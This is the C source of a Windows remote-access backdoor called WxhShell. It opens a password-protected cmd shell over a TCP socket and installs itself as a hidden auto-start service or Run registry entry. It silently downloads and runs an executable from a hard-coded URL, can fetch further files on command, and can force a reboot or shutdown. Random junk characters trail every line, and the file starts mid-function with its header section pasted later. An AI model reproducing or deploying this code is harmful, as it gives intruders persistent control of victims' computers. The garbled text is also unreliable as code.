    if(Boot(SHUTDOWN)) TXf60{:f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z5*(xony0  
    else { N[fwd=$\#  
    closesocket(wsh); xirq$sEl  
    ExitThread(0); L<B)BEE.  
    } ^Pu:&:ki  
    break; $d4&H/u^  
    } ^K_FGE0ec  
  // 获取shell h;y}g/HZ  
  case 's': { Qe4 % A  
    CmdShell(wsh); 'iOa j0f  
    closesocket(wsh); v"mZy,u  
    ExitThread(0); &5z9C=]e  
    break; 6X?:mn'%QF  
  } H8HVmfM  
  // 退出 ?U O aqcL  
  case 'x': { {cO8q }L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' u;Zw%O(J  
    CloseIt(wsh); qdmAkYUC  
    break; yJ ljCu)f  
    } SyT{k\[  
  // 离开 P>_9>k@;Q  
  case 'q': { q@ ;1{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y65lbl%Z n  
    closesocket(wsh); N7 hlM  
    WSACleanup(); \7#w@3*  
    exit(1); ^e ;9_(  
    break; jAv3qMQA  
        } HvKdV`bz  
  }  4~ L1~Gk  
  } . &`YlK  
>}2 ,2  
  // 提示信息 /lPnf7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o2hZ=+w>  
} 7'Hh^0<  
  } #b:YY^{g_  
gu~R4 @3  
  return; B.;@i;7L  
} 3^-R_  
@ uN+]e+3  
// shell模块句柄 >H5t,FfQL  
int CmdShell(SOCKET sock) ocMTTVo  
{ v0=v1G*rvJ  
STARTUPINFO si; KK4e'[Wf  
ZeroMemory(&si,sizeof(si)); (!J;g|58  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^8]7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :F#^Q%-IS  
PROCESS_INFORMATION ProcessInfo; Q-#<{' (  
char cmdline[]="cmd"; 5JK'2J&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gyV`]uqG  
  return 0; -1NR]#P'  
} >&R@L KP  
.J&89I]U  
// 自身启动模式 SDNRcSbOD6  
int StartFromService(void) 05\0g9  
{ Qy}pn=#Q  
typedef struct 4GeN<9~YS  
{ yJO Jw o^  
  DWORD ExitStatus; *O@Zn  
  DWORD PebBaseAddress; !b4AeiL>w  
  DWORD AffinityMask; @ ,;h!vB*=  
  DWORD BasePriority; m|x_++3  
  ULONG UniqueProcessId; :hW(2=%  
  ULONG InheritedFromUniqueProcessId; tX@y ]"  
}   PROCESS_BASIC_INFORMATION; _T~&kwe  
MU2kA&LH  
PROCNTQSIP NtQueryInformationProcess; PYs0w6o  
0dS(g&ZR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?m7i7Dz   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2G!z/OAj  
9HiyN>(  
  HANDLE             hProcess; ; lrO?sm  
  PROCESS_BASIC_INFORMATION pbi; 92.Rjz;=9?  
eT5IL(mH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H\E%.QIx  
  if(NULL == hInst ) return 0; ?"<m{,yQI  
C.LAr~P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M5dEZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -MsL>F.]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FwHqID_!:l  
"lC>_A  
  if (!NtQueryInformationProcess) return 0; "Ms{c=XPK  
j)@{_tv6;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;;XY&J  
  if(!hProcess) return 0; bwP@}(K  
[cZ/)tm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OpU9:^ r  
s'l|Ii  
  CloseHandle(hProcess); \w1',"l`  
?OoI6 3&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z)=S>06X Q  
if(hProcess==NULL) return 0; ePIN<F;I  
dn?'06TD  
HMODULE hMod; a.JjbFL  
char procName[255]; |22vNt_  
unsigned long cbNeeded; V EsM  
t l7:L>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^;( dF<?'r  
4b`Fi@J\  
  CloseHandle(hProcess); =ud~  
%hZX XpuO  
if(strstr(procName,"services")) return 1; // 以服务启动 k q?:<!z  
G/fBeK$.  
  return 0; // 注册表启动 uV@' 898%5  
} yD.(j*bMK;  
Rbr:Q]zGN  
// 主模块 G,^ ?qbHg  
int StartWxhshell(LPSTR lpCmdLine) m^m=/'<+  
{ *icaKy3  
  SOCKET wsl; n+Conp/  
BOOL val=TRUE; QJiH^KY6  
  int port=0; x5pu+-h  
  struct sockaddr_in door; F$1{w"&  
a_{'I6a*,  
  if(wscfg.ws_autoins) Install(); -r_\=<(  
:"Tkl$@,  
port=atoi(lpCmdLine); 89{;R  
uR.pQo07y<  
if(port<=0) port=wscfg.ws_port; V lO^0r^z  
FV aC8Kw  
  WSADATA data; QHUFS{G ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'NfsAE  
6-/W4L)?>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qvGm JN0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); COw!a\Jl  
  door.sin_family = AF_INET; ZF#n(Y?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Z9UqEGV  
  door.sin_port = htons(port); a MFUj+^  
tQUKw@@Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :AqtPV'  
closesocket(wsl); *&_cp]3-WF  
return 1; 5=p<"*zJ  
} mJ5%+.V  
Iw( wT_  
  if(listen(wsl,2) == INVALID_SOCKET) { Knb(MI6  
closesocket(wsl); b2[U3)|oO  
return 1; 1{d;Ngx  
} yI07E "9  
  Wxhshell(wsl); Fn4yx~0  
  WSACleanup(); ya^8mp-  
C\ Yf]J  
return 0; -wl&~}%M  
dV'^K%#  
} K]M@t=  
/?XI,#j3kM  
// 以NT服务方式启动 \Zx&J.D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L2}<2  
{ Ars*H,9>e  
DWORD   status = 0; f2SJ4"X  
  DWORD   specificError = 0xfffffff; 4@<wN \'  
xE!0p EHd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +\&6Zbn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~=[5X,Ta  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U#iW1jPE2  
  serviceStatus.dwWin32ExitCode     = 0; ed_+bCNy  
  serviceStatus.dwServiceSpecificExitCode = 0; 'o0o.&/=  
  serviceStatus.dwCheckPoint       = 0; yIngenr$  
  serviceStatus.dwWaitHint       = 0; bT T>  
6biR5&Y5U&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2$!,$J-<Y  
  if (hServiceStatusHandle==0) return; es%py~m)  
v JVh%l+  
status = GetLastError(); }''0N1,/  
  if (status!=NO_ERROR) 3c wBPqH  
{ #;@I.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a$^)~2U{  
    serviceStatus.dwCheckPoint       = 0; Pw7uxN`  
    serviceStatus.dwWaitHint       = 0; 2Kr>93O  
    serviceStatus.dwWin32ExitCode     = status; }opMf6`w  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1|H4]!7kE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :(yu t  
    return; |#yT]0L%pA  
  } RIO?rt;  
Y= =5\;-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l.Ev]G/5  
  serviceStatus.dwCheckPoint       = 0; sN?Rx}  
  serviceStatus.dwWaitHint       = 0; ?YV#  K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Z"`:4O   
} /4;A.r`;  
I2SH j6 -  
// 处理NT服务事件,比如:启动、停止 o&z[d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DS7L}]  
{ e m)%U  
switch(fdwControl) l;R8"L:,p\  
{ U,6sR  
case SERVICE_CONTROL_STOP: ,`YBTU  
  serviceStatus.dwWin32ExitCode = 0; \QF0(*!!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !dh:jPpKq  
  serviceStatus.dwCheckPoint   = 0; Ct~j/.  
  serviceStatus.dwWaitHint     = 0; zOFHdd ,"g  
  { n|DMj[uT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T9]0/>  
  } A8ef=ljM?  
  return; k4u/v n`&r  
case SERVICE_CONTROL_PAUSE: qP##C&+#q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J65:MaS  
  break; Yl"CIgt  
case SERVICE_CONTROL_CONTINUE: "zQ<)Q]U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S-~)|7d.  
  break; y^nT G  
case SERVICE_CONTROL_INTERROGATE: 1=,2i)  
  break; m}oR*<.  
}; f/IQ2yT-:D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GXQ%lQ  
} JhTr{8{  
|_7k*:#q:  
// 标准应用程序主函数 .7LQ l ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jrz.n 4Y`  
{ 'wMvO{}$  
$o\z4_I  
// 获取操作系统版本 y&O?`"Uv/M  
OsIsNt=GetOsVer(); G{>PYLxOb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e"bzZ!c&~V  
7gB?rJHV,  
  // 从命令行安装 ^ACrWk~UY  
  if(strpbrk(lpCmdLine,"iI")) Install(); J-uQF|   
|s(Ih_Zn  
  // 下载执行文件 l`A&LQ[  
if(wscfg.ws_downexe) { 0rI/$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IhZn  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sf.OBU1rs  
} KfZb=v;-l  
3RvDX p  
if(!OsIsNt) { XOI"BLd  
// 如果时win9x,隐藏进程并且设置为注册表启动 )rAJ>;  
HideProc(); .j^BWr  
StartWxhshell(lpCmdLine); T{m) = (q  
} $0un`&W  
else S ~fz  
  if(StartFromService()) =2=rPZw9  
  // 以服务方式启动 "$o>_+U  
  StartServiceCtrlDispatcher(DispatchTable); g)TZ/,NQ{  
else CxJ3u  
  // 普通方式启动 w{k^O7~  
  StartWxhshell(lpCmdLine); JsuI&v  
+Ss3Ph  
return 0; zF>;7'\x  
} B]()  
#>,E"-]f  
6aHD?a o  
+/RR!vG,  
=========================================== t0@AfO.'1  
Jp}\@T.  
Ok{1{EmP  
IpSWg  
YwF&-~mp7n  
yZ)9Hd   
" aT}Hc5L,b  
!vpXXI4  
#include <stdio.h> (jj`}Qe3U  
#include <string.h> <Z.{q Zd  
#include <windows.h> !QbuOvw  
#include <winsock2.h> 8HJ,6Lr;  
#include <winsvc.h> i\b^}m8c.N  
#include <urlmon.h> i$6rnS&C  
G8%VL^;O*5  
#pragma comment (lib, "Ws2_32.lib") qhcx\eD:?  
#pragma comment (lib, "urlmon.lib") DmPsE6G}  
pOn&D  
#define MAX_USER   100 // 最大客户端连接数 hxM{}}.E  
#define BUF_SOCK   200 // sock buffer b)e;Q5Z(.  
#define KEY_BUFF   255 // 输入 buffer _kMHF  
]adgOlM  
#define REBOOT     0   // 重启 ry=8Oq&[~  
#define SHUTDOWN   1   // 关机 L*,h=#x(  
H&p:  
#define DEF_PORT   5000 // 监听端口 Qox/abC h  
A/UOcl+N  
#define REG_LEN     16   // 注册表键长度 dhnX\/  
#define SVC_LEN     80   // NT服务名长度 !y/e Fx  
vazA@|^8  
// 从dll定义API Y`eF9Im,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "!AtS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u%yYLpaKf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qGMU>J.;c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xa#.GrH6  
AH/o-$C&  
// wxhshell配置信息 UQ;2g\([  
struct WSCFG { Ay 4P_>^  
  int ws_port;         // 监听端口 !m9hL>5vR  
  char ws_passstr[REG_LEN]; // 口令 rEC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 00dY?d{[D  
  char ws_regname[REG_LEN]; // 注册表键名 ]cS(2hP7  
  char ws_svcname[REG_LEN]; // 服务名 a)=|{QR>W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (?^F }]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^p9V5o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tsb}\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IO 0nT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1y1:<t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'kC#GTZi  
#\^=3A|b  
}; phf{b+'#X  
'/6f2[%Y"  
// default Wxhshell configuration ZX`x9/0&  
struct WSCFG wscfg={DEF_PORT, `5wiXsNjLY  
    "xuhuanlingzhe", w6X:39d  
    1, 4^:dmeMZ`  
    "Wxhshell", oA~0"}eS  
    "Wxhshell", AA=rjB9  
            "WxhShell Service", 4[]*=  
    "Wrsky Windows CmdShell Service", %k['<BYG<  
    "Please Input Your Password: ", E#8|h(  
  1, '/ Hoq  
  "http://www.wrsky.com/wxhshell.exe", <a -a~  
  "Wxhshell.exe" (GL'm[V  
    }; SG\ /m'F  
G<<; a  
// 消息定义模块 Q(yg bT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !^98o:"x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;}U]^LT=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8J$1N*J|  
char *msg_ws_ext="\n\rExit."; *aWh]x9TlU  
char *msg_ws_end="\n\rQuit."; 9e>2kd  
char *msg_ws_boot="\n\rReboot..."; Yu_ eCq5/  
char *msg_ws_poff="\n\rShutdown..."; uE(5q!/  
char *msg_ws_down="\n\rSave to ";  + @f  
_xi &%F/  
char *msg_ws_err="\n\rErr!"; GBRiU &D  
char *msg_ws_ok="\n\rOK!"; /|UbYe,  
oPaoQbR(A  
char ExeFile[MAX_PATH]; vf<Dqy<M.  
int nUser = 0; rKslgZhQ  
HANDLE handles[MAX_USER]; hrzxc4,W  
int OsIsNt; >yT1oD0+x  
!A% vR\  
SERVICE_STATUS       serviceStatus; CVkJMH_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^b|? ?9&  
SIR2 Kc0  
// 函数声明 ~p n$'1Q  
int Install(void); MoEh25U.  
int Uninstall(void); Hmhsb2`\  
int DownloadFile(char *sURL, SOCKET wsh); Y:m8UnT  
int Boot(int flag); z2,NWmP|w  
void HideProc(void); $yj*n;  
int GetOsVer(void); w~crj$UM  
int Wxhshell(SOCKET wsl); 8?kB+}@6X  
void TalkWithClient(void *cs); 1pDU}rPJ.  
int CmdShell(SOCKET sock); -X%t wy=  
int StartFromService(void); U"Bge\6x=  
int StartWxhshell(LPSTR lpCmdLine); 8,vP']4r%  
fSVM[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hslT49m>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lV 4TFt ,  
r1RM7y  
// 数据结构和表定义 2h*aWBLk  
SERVICE_TABLE_ENTRY DispatchTable[] = )T gfd5B  
{ 7p':a)  
{wscfg.ws_svcname, NTServiceMain}, 04v ~ K  
{NULL, NULL} \vc&V8  
}; ~~k0&mK|Q  
AT3HH QD  
// 自我安装 D aHbOs_<  
int Install(void) 3PRU  
{ U*sQ5uq  
  char svExeFile[MAX_PATH]; S\t!7Xs%*U  
  HKEY key; ]|w~{X!b4  
  strcpy(svExeFile,ExeFile); L1Yj9i  
'w72i/  
// 如果是win9x系统,修改注册表设为自启动 1'TS!/ll];  
if(!OsIsNt) { KV&6v`K/N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F 8sOc&L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $J)`Ru6.  
  RegCloseKey(key); r]D>p&4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }u0&>k|y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +cmi?~KS*  
  RegCloseKey(key); hH;i_("i(h  
  return 0; zI S ,N '  
    } xnWezO_  
  } ]K>bSK^TX  
} CA&VnO{r  
else { $/#[,1  
>>C S8  
// 如果是NT以上系统,安装为系统服务 l"X,[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &c&TQkx  
if (schSCManager!=0) D^F=:-l m  
{ -OD&x%L*{3  
  SC_HANDLE schService = CreateService `#`C.:/n  
  ( &;JeLL1J  
  schSCManager, 8 E l hcs  
  wscfg.ws_svcname, !~'D;Jh  
  wscfg.ws_svcdisp, 5{1=BZftZ  
  SERVICE_ALL_ACCESS, Zn)o@'{}{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , edlf++r~  
  SERVICE_AUTO_START, J n2QvUAZ&  
  SERVICE_ERROR_NORMAL, \' A- Lp  
  svExeFile, j%]sym  
  NULL, Rh ]XJM  
  NULL, Qu8=zI>t  
  NULL, ZDI?"dt{  
  NULL, O6b+eS  
  NULL w}$;2g0=a<  
  ); FrLv%tK|  
  if (schService!=0) UEYJd&n0CB  
  { 3syA$0TZt  
  CloseServiceHandle(schService); a;~< iB;3"  
  CloseServiceHandle(schSCManager); /#eS3`48  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "66#F  
  strcat(svExeFile,wscfg.ws_svcname); J[S!<\_!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r #w7qEtD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7u :kR;wk  
  RegCloseKey(key); 3N2d@R  
  return 0; DOkuT/+  
    } BAi0w{  
  } w6mYLK%  
  CloseServiceHandle(schSCManager); ZzR0k  
} y[S9b (:+  
} ^vxNS[C`;  
? }`mQ<~  
return 1; ==%5Ci7qMy  
} e8(Qx3T?b  
8o $ ` '  
// 自我卸载 6jm/y@|F!  
int Uninstall(void) u%"5<ll  
{ rqm":N8@  
  HKEY key; -w)v38iX!  
/f+BeQ3#/  
if(!OsIsNt) { hPgYKa8u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L@Qvj-5e  
  RegDeleteValue(key,wscfg.ws_regname); ?pd /cj^  
  RegCloseKey(key); #RSUChe7w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D ZH2U+K  
  RegDeleteValue(key,wscfg.ws_regname); Hm|N {  
  RegCloseKey(key); Vl<7>  
  return 0; ~P~q'  
  }  OmfHr lA  
} S-7C'dc  
} .We{W{  
else { c_.Fe'E  
 i?eVi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :+ 1Wmg  
if (schSCManager!=0) $ZB`4!JxG  
{ W* v3B.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZU z7h^3@  
  if (schService!=0) C,LosAd  
  { NB.'>Sar  
  if(DeleteService(schService)!=0) { 7xG~4N<)]  
  CloseServiceHandle(schService); %CgV:.,K  
  CloseServiceHandle(schSCManager); MTNC{:Q  
  return 0; %AWc`D  
  } mZM7 4!4X  
  CloseServiceHandle(schService); ]TcQGW@'  
  } Q+QD ,  
  CloseServiceHandle(schSCManager); @*UV|$~(Q  
} 4)'U!jSb  
} x1E;dbOZ  
0XqxW\8_l  
return 1; pNmWBp|ER  
} Y Ztd IG  
M&Ln'BC  
// 从指定url下载文件 n:1Ijh 1  
int DownloadFile(char *sURL, SOCKET wsh)  H ="I=}  
{ inK;n  
  HRESULT hr; tAY{+N]f  
char seps[]= "/"; WlGT&m&2  
char *token; d 792#Dc  
char *file; C 'Y2kb  
char myURL[MAX_PATH]; [U"/A1p  
char myFILE[MAX_PATH]; JB.U&  
uq54+zC  
strcpy(myURL,sURL); b8vZ^8tBV  
  token=strtok(myURL,seps); 7~k=t!gTY  
  while(token!=NULL) t&EY$'c  
  { iY&I?o!Ch  
    file=token; E8p,l>6(f  
  token=strtok(NULL,seps); Mk+G(4p  
  } L$kB(Brw  
SZR`uS  
GetCurrentDirectory(MAX_PATH,myFILE); ###>0(n  
strcat(myFILE, "\\"); .`v%9-5v  
strcat(myFILE, file); ja&m-CFK  
  send(wsh,myFILE,strlen(myFILE),0); E'SDT*EI  
send(wsh,"...",3,0); MQ0r ln?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); difX7)\  
  if(hr==S_OK) O(D2F$VlL  
return 0; BIe:7cR%  
else 39F e#u  
return 1; u3tT=5.D  
U)aftH *Pk  
} I:UDEoQo  
 vP? T  
// 系统电源模块 ~gNFcJuy  
int Boot(int flag) +"k?G  
{ rcY &n^:  
  HANDLE hToken; 5wl;fL~e  
  TOKEN_PRIVILEGES tkp; #5'& |<  
``6-   
  if(OsIsNt) { Nv6"c<(L=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <dr2 bz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6f ?,v5  
    tkp.PrivilegeCount = 1; . sFN[>)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IvI..#EzG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WBm)Q#1:  
if(flag==REBOOT) { -%^'x&e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "h7Dye  
  return 0; zEukEA^9`  
} kOq8zYU|  
else { \^RKb-6n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v=cQ`nou  
  return 0; ZKpJc'h  
} Zzz94`  
  } 1KBGML-K3  
  else { <yBa5m@/  
if(flag==REBOOT) { NuD|%Ebs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qf}.=(  
  return 0; o; U!{G(X  
} lmD [Cn  
else { PiCGZybCA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aJA(UN45  
  return 0; }<l:~-y|  
} +{I" e,Nk  
} FoH1O+e  
$AE5n>ZD$  
return 1; b(Tvc  
} (j??  
+8itP>  
// win9x进程隐藏模块 e"NP]_vh,  
void HideProc(void) #Nco|v  
{ C"_ Roir?  
\hBzP^*"n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~dpf1fP  
  if ( hKernel != NULL ) Qx8(w"k*  
  { Z*UVbyC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .kPNWNrw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gt02Csdt  
    FreeLibrary(hKernel); 2l^_OrE!  
  } 7C,giCYU  
y)CvlI  
return; HTGLFY(&  
} !U1 vW}H  
@7C.0>W_A  
// 获取操作系统版本 N~l*//Ep  
int GetOsVer(void) P*~ vWYH9  
{ 1;V_E2?V  
  OSVERSIONINFO winfo; @DY"~c cH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QKlsBq  
  GetVersionEx(&winfo); f86Z #%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >][D"  
  return 1; 0< vJ*z|_  
  else !Hl]&  
  return 0; l!&ik9m  
} 9!W$S[ABRB  
xy"'8uRi  
// 客户端句柄模块 $/;K<*O$  
int Wxhshell(SOCKET wsl) Yv@n$W`:  
{ W ulyM cJ  
  SOCKET wsh; bE'{zU}o  
  struct sockaddr_in client; vB{i w}Hi!  
  DWORD myID; OWT%XUW=  
q` IY;"~  
  while(nUser<MAX_USER) C c: <F_UI  
{ Sp:w _;{#  
  int nSize=sizeof(client); {ilz[LM8(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <r t$~}  
  if(wsh==INVALID_SOCKET) return 1; +qC [X~\  
] S[?tn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  -D'XxOI  
if(handles[nUser]==0) Bdb}4X rL  
  closesocket(wsh); "NGfT:HV  
else 9 i/ (  
  nUser++; )E>yoUhN  
  } Y<irNp9   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f pq|mY  
6uFw+Ya#  
  return 0; -bHlFNRm  
} /(51\RYkir  
'hs4k|B  
// 关闭 socket aK@ Y) Ju'  
void CloseIt(SOCKET wsh) t(uvc{K *  
{ }^&f {   
closesocket(wsh); Y_+#|]=$B  
nUser--; WGUw`sc\  
ExitThread(0); 9*ZlNZ  
} f'@ L|&w  
PE4 L7  
// 客户端请求句柄 M>p<1`t-&  
void TalkWithClient(void *cs) It&CM,=t  
{ rlY0UA,  
>L2_k'uE+;  
  SOCKET wsh=(SOCKET)cs; SM4`Hys;p  
  char pwd[SVC_LEN]; B\)Te9k'  
  char cmd[KEY_BUFF]; ;..z)OP_  
char chr[1]; b(;u2 8  
int i,j; `Y4Kw  
4Zwbu  
  while (nUser < MAX_USER) { 2*z~ 'i  
uMZ~[S z  
if(wscfg.ws_passstr) { W3/bM>1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $KGMAg/H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fPUr O  
  //ZeroMemory(pwd,KEY_BUFF); *S:~U  
      i=0; 89(qU  
  while(i<SVC_LEN) { pQ:^ ziwa3  
1Ng.Ukb  
  // 设置超时 Z}uY%]  
  fd_set FdRead; )-Hs]D:  
  struct timeval TimeOut; "}*D,[C5e  
  FD_ZERO(&FdRead); wb?k  
  FD_SET(wsh,&FdRead); ge GhM>G  
  TimeOut.tv_sec=8; [=q/f2_1.  
  TimeOut.tv_usec=0; eQu(3sYb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j0; ~2W#G*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :1j8!R5  
Si?s69  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /#M1J:SV  
  pwd=chr[0]; CMW4Zqau*  
  if(chr[0]==0xd || chr[0]==0xa) { U\?D;ABQ%  
  pwd=0; 49&i];:%7%  
  break; +?o!"SJ  
  } (!5Ta7X  
  i++; JpC=ACF  
    } TsK!36cg  
[-_{3qq<e  
  // 如果是非法用户,关闭 socket =IsmPQKi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nWIZ0Nde'  
} rtJER?A  
Y|fD)zG_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B\c_GXUw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~E?;q!  
WT<}3(S'?  
while(1) { H dqB B   
Bc"MOSV0  
  ZeroMemory(cmd,KEY_BUFF); Yjc U2S"=P  
W4^zKnH  
      // 自动支持客户端 telnet标准   [:cD  
  j=0; ;kk[x8$  
  while(j<KEY_BUFF) { & mOn]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b},2A'X  
  cmd[j]=chr[0]; G^k'sgy.  
  if(chr[0]==0xa || chr[0]==0xd) { 5+M,X kg  
  cmd[j]=0; `5?0yXK  
  break; L?d?O  
  } }h45j84)  
  j++; <WZ{<'ajI  
    } lK=Is v+  
u_^mN9h  
  // 下载文件 IRm}?hHf  
  if(strstr(cmd,"http://")) { <@;}q^`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H%vfRl3rB  
  if(DownloadFile(cmd,wsh)) >S7t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  k;+TN9  
  else ; um)JCXz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l&+O*=#Hh  
  } 2j%=o?me^p  
  else { e+lun -  
